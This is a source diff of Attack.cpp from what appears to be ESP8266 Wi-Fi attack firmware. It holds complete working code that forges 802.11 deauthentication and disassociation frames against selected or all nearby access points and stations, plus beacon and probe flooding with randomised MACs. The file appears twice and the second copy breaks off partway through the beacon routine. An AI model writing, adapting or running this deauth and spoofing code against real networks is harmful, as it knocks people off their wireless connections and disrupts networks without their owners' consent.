||||
@@ -1,458 +1,458 @@
|
||||
#include "Attack.h"
|
||||
|
||||
Attack::Attack() {
|
||||
getRandomMac(mac);
|
||||
|
||||
if (settings.getBeaconInterval()) {
|
||||
// 1s beacon interval
|
||||
beaconPacket[32] = 0xe8;
|
||||
beaconPacket[33] = 0x03;
|
||||
} else {
|
||||
// 100ms beacon interval
|
||||
beaconPacket[32] = 0x64;
|
||||
beaconPacket[33] = 0x00;
|
||||
}
|
||||
|
||||
deauth.time = currentTime;
|
||||
beacon.time = currentTime;
|
||||
probe.time = currentTime;
|
||||
}
|
||||
|
||||
void Attack::start() {
|
||||
stop();
|
||||
prntln(A_START);
|
||||
attackTime = currentTime;
|
||||
attackStartTime = currentTime;
|
||||
accesspoints.sortAfterChannel();
|
||||
stations.sortAfterChannel();
|
||||
running = true;
|
||||
}
|
||||
|
||||
void Attack::start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout) {
|
||||
Attack::beacon.active = beacon;
|
||||
Attack::deauth.active = deauth || deauthAll;
|
||||
Attack::deauthAll = deauthAll;
|
||||
Attack::probe.active = probe;
|
||||
|
||||
Attack::output = output;
|
||||
Attack::timeout = timeout;
|
||||
|
||||
// if (((beacon || probe) && ssids.count() > 0) || (deauthAll && scan.countAll() > 0) || (deauth &&
|
||||
// scan.countSelected() > 0)){
|
||||
if (beacon || probe || deauthAll || deauth) {
|
||||
start();
|
||||
} else {
|
||||
prntln(A_NO_MODE_ERROR);
|
||||
accesspoints.sort();
|
||||
stations.sort();
|
||||
stop();
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::stop() {
|
||||
if (running) {
|
||||
running = false;
|
||||
deauthPkts = 0;
|
||||
beaconPkts = 0;
|
||||
probePkts = 0;
|
||||
deauth.packetCounter = 0;
|
||||
beacon.packetCounter = 0;
|
||||
probe.packetCounter = 0;
|
||||
deauth.maxPkts = 0;
|
||||
beacon.maxPkts = 0;
|
||||
probe.maxPkts = 0;
|
||||
packetRate = 0;
|
||||
deauth.tc = 0;
|
||||
beacon.tc = 0;
|
||||
probe.tc = 0;
|
||||
prntln(A_STOP);
|
||||
}
|
||||
}
|
||||
|
||||
bool Attack::isRunning() {
|
||||
return running;
|
||||
}
|
||||
|
||||
void Attack::updateCounter() {
|
||||
// stop when timeout is active and time is up
|
||||
if ((timeout > 0) && (currentTime - attackStartTime >= timeout)) {
|
||||
prntln(A_TIMEOUT);
|
||||
stop();
|
||||
return;
|
||||
}
|
||||
|
||||
// deauth packets per second
|
||||
if (deauth.active) {
|
||||
if (deauthAll) deauth.maxPkts = settings.getDeauthsPerTarget() *
|
||||
(accesspoints.count() + stations.count() * 2 - names.selected());
|
||||
else deauth.maxPkts = settings.getDeauthsPerTarget() *
|
||||
(accesspoints.selected() + stations.selected() * 2 + names.selected() + names.stations());
|
||||
} else {
|
||||
deauth.maxPkts = 0;
|
||||
}
|
||||
|
||||
// beacon packets per second
|
||||
if (beacon.active) {
|
||||
beacon.maxPkts = ssids.count();
|
||||
|
||||
if (!settings.getBeaconInterval()) beacon.maxPkts *= 10;
|
||||
} else {
|
||||
beacon.maxPkts = 0;
|
||||
}
|
||||
|
||||
// probe packets per second
|
||||
if (probe.active) probe.maxPkts = ssids.count() * settings.getProbesPerSSID();
|
||||
else probe.maxPkts = 0;
|
||||
|
||||
// random transmission power
|
||||
if (settings.getRandomTX() && (beacon.active || probe.active)) setOutputPower(random(21));
|
||||
else setOutputPower(20.5f);
|
||||
|
||||
// reset counters
|
||||
deauthPkts = deauth.packetCounter;
|
||||
beaconPkts = beacon.packetCounter;
|
||||
probePkts = probe.packetCounter;
|
||||
packetRate = tmpPacketRate;
|
||||
deauth.packetCounter = 0;
|
||||
beacon.packetCounter = 0;
|
||||
probe.packetCounter = 0;
|
||||
deauth.tc = 0;
|
||||
beacon.tc = 0;
|
||||
probe.tc = 0;
|
||||
tmpPacketRate = 0;
|
||||
}
|
||||
|
||||
void Attack::status() {
|
||||
char s[120];
|
||||
|
||||
sprintf(s, str(
|
||||
A_STATUS).c_str(), packetRate, deauthPkts, deauth.maxPkts, beaconPkts, beacon.maxPkts, probePkts,
|
||||
probe.maxPkts);
|
||||
prnt(String(s));
|
||||
}
|
||||
|
||||
String Attack::getStatusJSON() {
|
||||
String json = String(OPEN_BRACKET); // [
|
||||
|
||||
json += String(OPEN_BRACKET) + b2s(deauth.active) + String(COMMA) + String(scan.countSelected()) + String(COMMA) +
|
||||
String(deauthPkts) + String(COMMA) + String(deauth.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
||||
json += String(OPEN_BRACKET) + b2s(beacon.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(
|
||||
beaconPkts) + String(COMMA) + String(beacon.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
||||
json += String(OPEN_BRACKET) + b2s(probe.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(
|
||||
probePkts) + String(COMMA) + String(probe.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
||||
json += String(packetRate); // 0
|
||||
json += CLOSE_BRACKET; // ]
|
||||
|
||||
return json;
|
||||
}
|
||||
|
||||
void Attack::update() {
|
||||
if (!running || scan.isScanning()) return;
|
||||
|
||||
apCount = accesspoints.count();
|
||||
stCount = stations.count();
|
||||
nCount = names.count();
|
||||
|
||||
// run/update all attacks
|
||||
deauthUpdate();
|
||||
deauthAllUpdate();
|
||||
beaconUpdate();
|
||||
probeUpdate();
|
||||
|
||||
// each second
|
||||
if (currentTime - attackTime > 1000) {
|
||||
attackTime = currentTime; // update time
|
||||
updateCounter();
|
||||
|
||||
if (output) status(); // status update
|
||||
getRandomMac(mac); // generate new random mac
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::deauthUpdate() {
|
||||
if (!deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) {
|
||||
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
|
||||
// APs
|
||||
if ((apCount > 0) && (deauth.tc < apCount)) {
|
||||
if (accesspoints.getSelected(deauth.tc)) {
|
||||
deauth.tc += deauthAP(deauth.tc);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// Stations
|
||||
else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) {
|
||||
if (stations.getSelected(deauth.tc - apCount)) {
|
||||
deauth.tc += deauthStation(deauth.tc - apCount);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// Names
|
||||
else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < nCount + stCount + apCount)) {
|
||||
if (names.getSelected(deauth.tc - stCount - apCount)) {
|
||||
deauth.tc += deauthName(deauth.tc - stCount - apCount);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// reset counter
|
||||
if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::deauthAllUpdate() {
|
||||
if (deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) {
|
||||
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
|
||||
// APs
|
||||
if ((apCount > 0) && (deauth.tc < apCount)) {
|
||||
tmpID = names.findID(accesspoints.getMac(deauth.tc));
|
||||
|
||||
if (tmpID < 0) {
|
||||
deauth.tc += deauthAP(deauth.tc);
|
||||
} else if (!names.getSelected(tmpID)) {
|
||||
deauth.tc += deauthAP(deauth.tc);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// Stations
|
||||
else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) {
|
||||
tmpID = names.findID(stations.getMac(deauth.tc - apCount));
|
||||
|
||||
if (tmpID < 0) {
|
||||
deauth.tc += deauthStation(deauth.tc - apCount);
|
||||
} else if (!names.getSelected(tmpID)) {
|
||||
deauth.tc += deauthStation(deauth.tc - apCount);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// Names
|
||||
else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < apCount + stCount + nCount)) {
|
||||
if (!names.getSelected(deauth.tc - apCount - stCount)) {
|
||||
deauth.tc += deauthName(deauth.tc - apCount - stCount);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// reset counter
|
||||
if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::probeUpdate() {
|
||||
if (probe.active && (probe.maxPkts > 0) && (probe.packetCounter < probe.maxPkts)) {
|
||||
if (probe.time <= currentTime - (1000 / probe.maxPkts)) {
|
||||
if (settings.getBeaconChannel()) setWifiChannel(probe.tc % 11);
|
||||
probe.tc += sendProbe(probe.tc);
|
||||
|
||||
if (probe.tc >= ssids.count()) probe.tc = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::beaconUpdate() {
|
||||
if (beacon.active && (beacon.maxPkts > 0) && (beacon.packetCounter < beacon.maxPkts)) {
|
||||
if (beacon.time <= currentTime - (1000 / beacon.maxPkts)) {
|
||||
beacon.tc += sendBeacon(beacon.tc);
|
||||
|
||||
if (beacon.tc >= ssids.count()) beacon.tc = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
bool Attack::deauthStation(int num) {
|
||||
return deauthDevice(stations.getAPMac(num), stations.getMac(num), settings.getDeauthReason(), stations.getCh(num));
|
||||
}
|
||||
|
||||
bool Attack::deauthAP(int num) {
|
||||
return deauthDevice(accesspoints.getMac(num), broadcast, settings.getDeauthReason(), accesspoints.getCh(num));
|
||||
}
|
||||
|
||||
bool Attack::deauthName(int num) {
|
||||
if (names.isStation(num)) {
|
||||
return deauthDevice(names.getBssid(num), names.getMac(num), settings.getDeauthReason(), names.getCh(num));
|
||||
} else {
|
||||
return deauthDevice(names.getMac(num), broadcast, settings.getDeauthReason(), names.getCh(num));
|
||||
}
|
||||
}
|
||||
|
||||
bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch) {
|
||||
if (!stMac) return false; // exit when station mac is null
|
||||
|
||||
// Serial.println("Deauthing "+macToStr(apMac)+" -> "+macToStr(stMac)); // for debugging
|
||||
|
||||
bool success = false;
|
||||
|
||||
// build deauth packet
|
||||
packetSize = sizeof(deauthPacket);
|
||||
memcpy(&deauthPacket[4], stMac, 6);
|
||||
memcpy(&deauthPacket[10], apMac, 6);
|
||||
memcpy(&deauthPacket[16], apMac, 6);
|
||||
deauthPacket[24] = reason;
|
||||
|
||||
// send deauth frame
|
||||
deauthPacket[0] = 0xc0;
|
||||
|
||||
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
|
||||
success = true;
|
||||
deauth.packetCounter++;
|
||||
}
|
||||
|
||||
// send disassociate frame
|
||||
deauthPacket[0] = 0xa0;
|
||||
|
||||
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
|
||||
success = true;
|
||||
deauth.packetCounter++;
|
||||
}
|
||||
|
||||
// send another packet, this time from the station to the accesspoint
|
||||
if (!macBroadcast(stMac)) { // but only if the packet isn't a broadcast
|
||||
// build deauth packet
|
||||
memcpy(&deauthPacket[4], apMac, 6);
|
||||
memcpy(&deauthPacket[10], stMac, 6);
|
||||
memcpy(&deauthPacket[16], stMac, 6);
|
||||
|
||||
// send deauth frame
|
||||
deauthPacket[0] = 0xc0;
|
||||
|
||||
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
|
||||
success = true;
|
||||
deauth.packetCounter++;
|
||||
}
|
||||
|
||||
// send disassociate frame
|
||||
deauthPacket[0] = 0xa0;
|
||||
|
||||
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
|
||||
success = true;
|
||||
deauth.packetCounter++;
|
||||
}
|
||||
}
|
||||
|
||||
if (success) deauth.time = currentTime;
|
||||
|
||||
return success;
|
||||
}
|
||||
|
||||
bool Attack::sendBeacon(uint8_t tc) {
|
||||
if (settings.getBeaconChannel()) setWifiChannel(tc % 11);
|
||||
mac[5] = tc;
|
||||
return sendBeacon(mac, ssids.getName(tc).c_str(), wifi_channel, ssids.getWPA2(tc));
|
||||
}
|
||||
|
||||
bool Attack::sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2) {
|
||||
packetSize = sizeof(beaconPacket);
|
||||
|
||||
if (wpa2) {
|
||||
beaconPacket[34] = 0x31;
|
||||
} else {
|
||||
beaconPacket[34] = 0x21;
|
||||
packetSize -= 26;
|
||||
}
|
||||
|
||||
int ssidLen = strlen(ssid);
|
||||
|
||||
if (ssidLen > 32) ssidLen = 32;
|
||||
|
||||
memcpy(&beaconPacket[10], mac, 6);
|
||||
memcpy(&beaconPacket[16], mac, 6);
|
||||
memcpy(&beaconPacket[38], ssid, ssidLen);
|
||||
|
||||
beaconPacket[82] = ch;
|
||||
|
||||
// =====
|
||||
uint16_t tmpPacketSize = (packetSize - 32) + ssidLen; // calc size
|
||||
uint8_t* tmpPacket = new uint8_t[tmpPacketSize]; // create packet buffer
|
||||
memcpy(&tmpPacket[0], &beaconPacket[0], 38 + ssidLen); // copy first half of packet into buffer
|
||||
tmpPacket[37] = ssidLen; // update SSID length byte
|
||||
memcpy(&tmpPacket[38 + ssidLen], &beaconPacket[70], wpa2 ? 39 : 13); // copy second half of packet into buffer
|
||||
|
||||
if (sendPacket(tmpPacket, tmpPacketSize, ch, settings.getForcePackets())) {
|
||||
beacon.time = currentTime;
|
||||
beacon.packetCounter++;
|
||||
delete tmpPacket; // free memory of allocated buffer
|
||||
return true;
|
||||
} else {
|
||||
delete tmpPacket; // free memory of allocated buffer
|
||||
return false;
|
||||
}
|
||||
// =====
|
||||
}
|
||||
|
||||
bool Attack::sendProbe(uint8_t tc) {
|
||||
if (settings.getBeaconChannel()) setWifiChannel(tc % 11);
|
||||
mac[5] = tc;
|
||||
return sendProbe(mac, ssids.getName(tc).c_str(), wifi_channel);
|
||||
}
|
||||
|
||||
bool Attack::sendProbe(uint8_t* mac, const char* ssid, uint8_t ch) {
|
||||
packetSize = sizeof(probePacket);
|
||||
int ssidLen = strlen(ssid);
|
||||
|
||||
if (ssidLen > 32) ssidLen = 32;
|
||||
|
||||
memcpy(&probePacket[10], mac, 6);
|
||||
memcpy(&probePacket[26], ssid, ssidLen);
|
||||
|
||||
if (sendPacket(probePacket, packetSize, ch, settings.getForcePackets())) {
|
||||
probe.time = currentTime;
|
||||
probe.packetCounter++;
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
bool Attack::sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, uint16_t tries) {
|
||||
// Serial.println(bytesToStr(packet, packetSize));
|
||||
|
||||
// set channel
|
||||
setWifiChannel(ch);
|
||||
|
||||
// sent out packet
|
||||
bool sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0;
|
||||
|
||||
// try again until it's sent out
|
||||
for (int i = 0; i < tries && !sent; i++) sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0;
|
||||
|
||||
if (sent) tmpPacketRate++;
|
||||
|
||||
return sent;
|
||||
}
|
||||
|
||||
void Attack::enableOutput() {
|
||||
output = true;
|
||||
prntln(A_ENABLED_OUTPUT);
|
||||
}
|
||||
|
||||
void Attack::disableOutput() {
|
||||
output = false;
|
||||
prntln(A_DISABLED_OUTPUT);
|
||||
}
|
||||
|
||||
uint32_t Attack::getDeauthPkts() {
|
||||
return deauthPkts;
|
||||
}
|
||||
|
||||
uint32_t Attack::getBeaconPkts() {
|
||||
return beaconPkts;
|
||||
}
|
||||
|
||||
uint32_t Attack::getProbePkts() {
|
||||
return probePkts;
|
||||
}
|
||||
|
||||
uint32_t Attack::getDeauthMaxPkts() {
|
||||
return deauth.maxPkts;
|
||||
}
|
||||
|
||||
uint32_t Attack::getBeaconMaxPkts() {
|
||||
return beacon.maxPkts;
|
||||
}
|
||||
|
||||
uint32_t Attack::getProbeMaxPkts() {
|
||||
return probe.maxPkts;
|
||||
}
|
||||
|
||||
uint32_t Attack::getPacketRate() {
|
||||
return packetRate;
|
||||
}
|
||||
#include "Attack.h"
|
||||
|
||||
Attack::Attack() {
|
||||
getRandomMac(mac);
|
||||
|
||||
if (settings.getBeaconInterval()) {
|
||||
// 1s beacon interval
|
||||
beaconPacket[32] = 0xe8;
|
||||
beaconPacket[33] = 0x03;
|
||||
} else {
|
||||
// 100ms beacon interval
|
||||
beaconPacket[32] = 0x64;
|
||||
beaconPacket[33] = 0x00;
|
||||
}
|
||||
|
||||
deauth.time = currentTime;
|
||||
beacon.time = currentTime;
|
||||
probe.time = currentTime;
|
||||
}
|
||||
|
||||
void Attack::start() {
|
||||
stop();
|
||||
prntln(A_START);
|
||||
attackTime = currentTime;
|
||||
attackStartTime = currentTime;
|
||||
accesspoints.sortAfterChannel();
|
||||
stations.sortAfterChannel();
|
||||
running = true;
|
||||
}
|
||||
|
||||
void Attack::start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout) {
|
||||
Attack::beacon.active = beacon;
|
||||
Attack::deauth.active = deauth || deauthAll;
|
||||
Attack::deauthAll = deauthAll;
|
||||
Attack::probe.active = probe;
|
||||
|
||||
Attack::output = output;
|
||||
Attack::timeout = timeout;
|
||||
|
||||
// if (((beacon || probe) && ssids.count() > 0) || (deauthAll && scan.countAll() > 0) || (deauth &&
|
||||
// scan.countSelected() > 0)){
|
||||
if (beacon || probe || deauthAll || deauth) {
|
||||
start();
|
||||
} else {
|
||||
prntln(A_NO_MODE_ERROR);
|
||||
accesspoints.sort();
|
||||
stations.sort();
|
||||
stop();
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::stop() {
|
||||
if (running) {
|
||||
running = false;
|
||||
deauthPkts = 0;
|
||||
beaconPkts = 0;
|
||||
probePkts = 0;
|
||||
deauth.packetCounter = 0;
|
||||
beacon.packetCounter = 0;
|
||||
probe.packetCounter = 0;
|
||||
deauth.maxPkts = 0;
|
||||
beacon.maxPkts = 0;
|
||||
probe.maxPkts = 0;
|
||||
packetRate = 0;
|
||||
deauth.tc = 0;
|
||||
beacon.tc = 0;
|
||||
probe.tc = 0;
|
||||
prntln(A_STOP);
|
||||
}
|
||||
}
|
||||
|
||||
bool Attack::isRunning() {
|
||||
return running;
|
||||
}
|
||||
|
||||
void Attack::updateCounter() {
|
||||
// stop when timeout is active and time is up
|
||||
if ((timeout > 0) && (currentTime - attackStartTime >= timeout)) {
|
||||
prntln(A_TIMEOUT);
|
||||
stop();
|
||||
return;
|
||||
}
|
||||
|
||||
// deauth packets per second
|
||||
if (deauth.active) {
|
||||
if (deauthAll) deauth.maxPkts = settings.getDeauthsPerTarget() *
|
||||
(accesspoints.count() + stations.count() * 2 - names.selected());
|
||||
else deauth.maxPkts = settings.getDeauthsPerTarget() *
|
||||
(accesspoints.selected() + stations.selected() * 2 + names.selected() + names.stations());
|
||||
} else {
|
||||
deauth.maxPkts = 0;
|
||||
}
|
||||
|
||||
// beacon packets per second
|
||||
if (beacon.active) {
|
||||
beacon.maxPkts = ssids.count();
|
||||
|
||||
if (!settings.getBeaconInterval()) beacon.maxPkts *= 10;
|
||||
} else {
|
||||
beacon.maxPkts = 0;
|
||||
}
|
||||
|
||||
// probe packets per second
|
||||
if (probe.active) probe.maxPkts = ssids.count() * settings.getProbesPerSSID();
|
||||
else probe.maxPkts = 0;
|
||||
|
||||
// random transmission power
|
||||
if (settings.getRandomTX() && (beacon.active || probe.active)) setOutputPower(random(21));
|
||||
else setOutputPower(20.5f);
|
||||
|
||||
// reset counters
|
||||
deauthPkts = deauth.packetCounter;
|
||||
beaconPkts = beacon.packetCounter;
|
||||
probePkts = probe.packetCounter;
|
||||
packetRate = tmpPacketRate;
|
||||
deauth.packetCounter = 0;
|
||||
beacon.packetCounter = 0;
|
||||
probe.packetCounter = 0;
|
||||
deauth.tc = 0;
|
||||
beacon.tc = 0;
|
||||
probe.tc = 0;
|
||||
tmpPacketRate = 0;
|
||||
}
|
||||
|
||||
void Attack::status() {
|
||||
char s[120];
|
||||
|
||||
sprintf(s, str(
|
||||
A_STATUS).c_str(), packetRate, deauthPkts, deauth.maxPkts, beaconPkts, beacon.maxPkts, probePkts,
|
||||
probe.maxPkts);
|
||||
prnt(String(s));
|
||||
}
|
||||
|
||||
String Attack::getStatusJSON() {
|
||||
String json = String(OPEN_BRACKET); // [
|
||||
|
||||
json += String(OPEN_BRACKET) + b2s(deauth.active) + String(COMMA) + String(scan.countSelected()) + String(COMMA) +
|
||||
String(deauthPkts) + String(COMMA) + String(deauth.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
||||
json += String(OPEN_BRACKET) + b2s(beacon.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(
|
||||
beaconPkts) + String(COMMA) + String(beacon.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
||||
json += String(OPEN_BRACKET) + b2s(probe.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(
|
||||
probePkts) + String(COMMA) + String(probe.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
||||
json += String(packetRate); // 0
|
||||
json += CLOSE_BRACKET; // ]
|
||||
|
||||
return json;
|
||||
}
|
||||
|
||||
void Attack::update() {
|
||||
if (!running || scan.isScanning()) return;
|
||||
|
||||
apCount = accesspoints.count();
|
||||
stCount = stations.count();
|
||||
nCount = names.count();
|
||||
|
||||
// run/update all attacks
|
||||
deauthUpdate();
|
||||
deauthAllUpdate();
|
||||
beaconUpdate();
|
||||
probeUpdate();
|
||||
|
||||
// each second
|
||||
if (currentTime - attackTime > 1000) {
|
||||
attackTime = currentTime; // update time
|
||||
updateCounter();
|
||||
|
||||
if (output) status(); // status update
|
||||
getRandomMac(mac); // generate new random mac
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::deauthUpdate() {
|
||||
if (!deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) {
|
||||
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
|
||||
// APs
|
||||
if ((apCount > 0) && (deauth.tc < apCount)) {
|
||||
if (accesspoints.getSelected(deauth.tc)) {
|
||||
deauth.tc += deauthAP(deauth.tc);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// Stations
|
||||
else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) {
|
||||
if (stations.getSelected(deauth.tc - apCount)) {
|
||||
deauth.tc += deauthStation(deauth.tc - apCount);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// Names
|
||||
else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < nCount + stCount + apCount)) {
|
||||
if (names.getSelected(deauth.tc - stCount - apCount)) {
|
||||
deauth.tc += deauthName(deauth.tc - stCount - apCount);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// reset counter
|
||||
if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::deauthAllUpdate() {
|
||||
if (deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) {
|
||||
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
|
||||
// APs
|
||||
if ((apCount > 0) && (deauth.tc < apCount)) {
|
||||
tmpID = names.findID(accesspoints.getMac(deauth.tc));
|
||||
|
||||
if (tmpID < 0) {
|
||||
deauth.tc += deauthAP(deauth.tc);
|
||||
} else if (!names.getSelected(tmpID)) {
|
||||
deauth.tc += deauthAP(deauth.tc);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// Stations
|
||||
else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) {
|
||||
tmpID = names.findID(stations.getMac(deauth.tc - apCount));
|
||||
|
||||
if (tmpID < 0) {
|
||||
deauth.tc += deauthStation(deauth.tc - apCount);
|
||||
} else if (!names.getSelected(tmpID)) {
|
||||
deauth.tc += deauthStation(deauth.tc - apCount);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// Names
|
||||
else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < apCount + stCount + nCount)) {
|
||||
if (!names.getSelected(deauth.tc - apCount - stCount)) {
|
||||
deauth.tc += deauthName(deauth.tc - apCount - stCount);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// reset counter
|
||||
if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::probeUpdate() {
|
||||
if (probe.active && (probe.maxPkts > 0) && (probe.packetCounter < probe.maxPkts)) {
|
||||
if (probe.time <= currentTime - (1000 / probe.maxPkts)) {
|
||||
if (settings.getBeaconChannel()) setWifiChannel(probe.tc % 11);
|
||||
probe.tc += sendProbe(probe.tc);
|
||||
|
||||
if (probe.tc >= ssids.count()) probe.tc = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::beaconUpdate() {
|
||||
if (beacon.active && (beacon.maxPkts > 0) && (beacon.packetCounter < beacon.maxPkts)) {
|
||||
if (beacon.time <= currentTime - (1000 / beacon.maxPkts)) {
|
||||
beacon.tc += sendBeacon(beacon.tc);
|
||||
|
||||
if (beacon.tc >= ssids.count()) beacon.tc = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
bool Attack::deauthStation(int num) {
|
||||
return deauthDevice(stations.getAPMac(num), stations.getMac(num), settings.getDeauthReason(), stations.getCh(num));
|
||||
}
|
||||
|
||||
bool Attack::deauthAP(int num) {
|
||||
return deauthDevice(accesspoints.getMac(num), broadcast, settings.getDeauthReason(), accesspoints.getCh(num));
|
||||
}
|
||||
|
||||
bool Attack::deauthName(int num) {
|
||||
if (names.isStation(num)) {
|
||||
return deauthDevice(names.getBssid(num), names.getMac(num), settings.getDeauthReason(), names.getCh(num));
|
||||
} else {
|
||||
return deauthDevice(names.getMac(num), broadcast, settings.getDeauthReason(), names.getCh(num));
|
||||
}
|
||||
}
|
||||
|
||||
bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch) {
|
||||
if (!stMac) return false; // exit when station mac is null
|
||||
|
||||
// Serial.println("Deauthing "+macToStr(apMac)+" -> "+macToStr(stMac)); // for debugging
|
||||
|
||||
bool success = false;
|
||||
|
||||
// build deauth packet
|
||||
packetSize = sizeof(deauthPacket);
|
||||
memcpy(&deauthPacket[4], stMac, 6);
|
||||
memcpy(&deauthPacket[10], apMac, 6);
|
||||
memcpy(&deauthPacket[16], apMac, 6);
|
||||
deauthPacket[24] = reason;
|
||||
|
||||
// send deauth frame
|
||||
deauthPacket[0] = 0xc0;
|
||||
|
||||
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
|
||||
success = true;
|
||||
deauth.packetCounter++;
|
||||
}
|
||||
|
||||
// send disassociate frame
|
||||
deauthPacket[0] = 0xa0;
|
||||
|
||||
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
|
||||
success = true;
|
||||
deauth.packetCounter++;
|
||||
}
|
||||
|
||||
// send another packet, this time from the station to the accesspoint
|
||||
if (!macBroadcast(stMac)) { // but only if the packet isn't a broadcast
|
||||
// build deauth packet
|
||||
memcpy(&deauthPacket[4], apMac, 6);
|
||||
memcpy(&deauthPacket[10], stMac, 6);
|
||||
memcpy(&deauthPacket[16], stMac, 6);
|
||||
|
||||
// send deauth frame
|
||||
deauthPacket[0] = 0xc0;
|
||||
|
||||
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
|
||||
success = true;
|
||||
deauth.packetCounter++;
|
||||
}
|
||||
|
||||
// send disassociate frame
|
||||
deauthPacket[0] = 0xa0;
|
||||
|
||||
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
|
||||
success = true;
|
||||
deauth.packetCounter++;
|
||||
}
|
||||
}
|
||||
|
||||
if (success) deauth.time = currentTime;
|
||||
|
||||
return success;
|
||||
}
|
||||
|
||||
bool Attack::sendBeacon(uint8_t tc) {
|
||||
if (settings.getBeaconChannel()) setWifiChannel(tc % 11);
|
||||
mac[5] = tc;
|
||||
return sendBeacon(mac, ssids.getName(tc).c_str(), wifi_channel, ssids.getWPA2(tc));
|
||||
}
|
||||
|
||||
bool Attack::sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2) {
|
||||
packetSize = sizeof(beaconPacket);
|
||||
|
||||
if (wpa2) {
|
||||
beaconPacket[34] = 0x31;
|
||||
} else {
|
||||
beaconPacket[34] = 0x21;
|
||||
packetSize -= 26;
|
||||
}
|
||||
|
||||
int ssidLen = strlen(ssid);
|
||||
|
||||
if (ssidLen > 32) ssidLen = 32;
|
||||
|
||||
memcpy(&beaconPacket[10], mac, 6);
|
||||
memcpy(&beaconPacket[16], mac, 6);
|
||||
memcpy(&beaconPacket[38], ssid, ssidLen);
|
||||
|
||||
beaconPacket[82] = ch;
|
||||
|
||||
// =====
|
||||
uint16_t tmpPacketSize = (packetSize - 32) + ssidLen; // calc size
|
||||
uint8_t* tmpPacket = new uint8_t[tmpPacketSize]; // create packet buffer
|
||||
memcpy(&tmpPacket[0], &beaconPacket[0], 38 + ssidLen); // copy first half of packet into buffer
|
||||
tmpPacket[37] = ssidLen; // update SSID length byte
|
||||
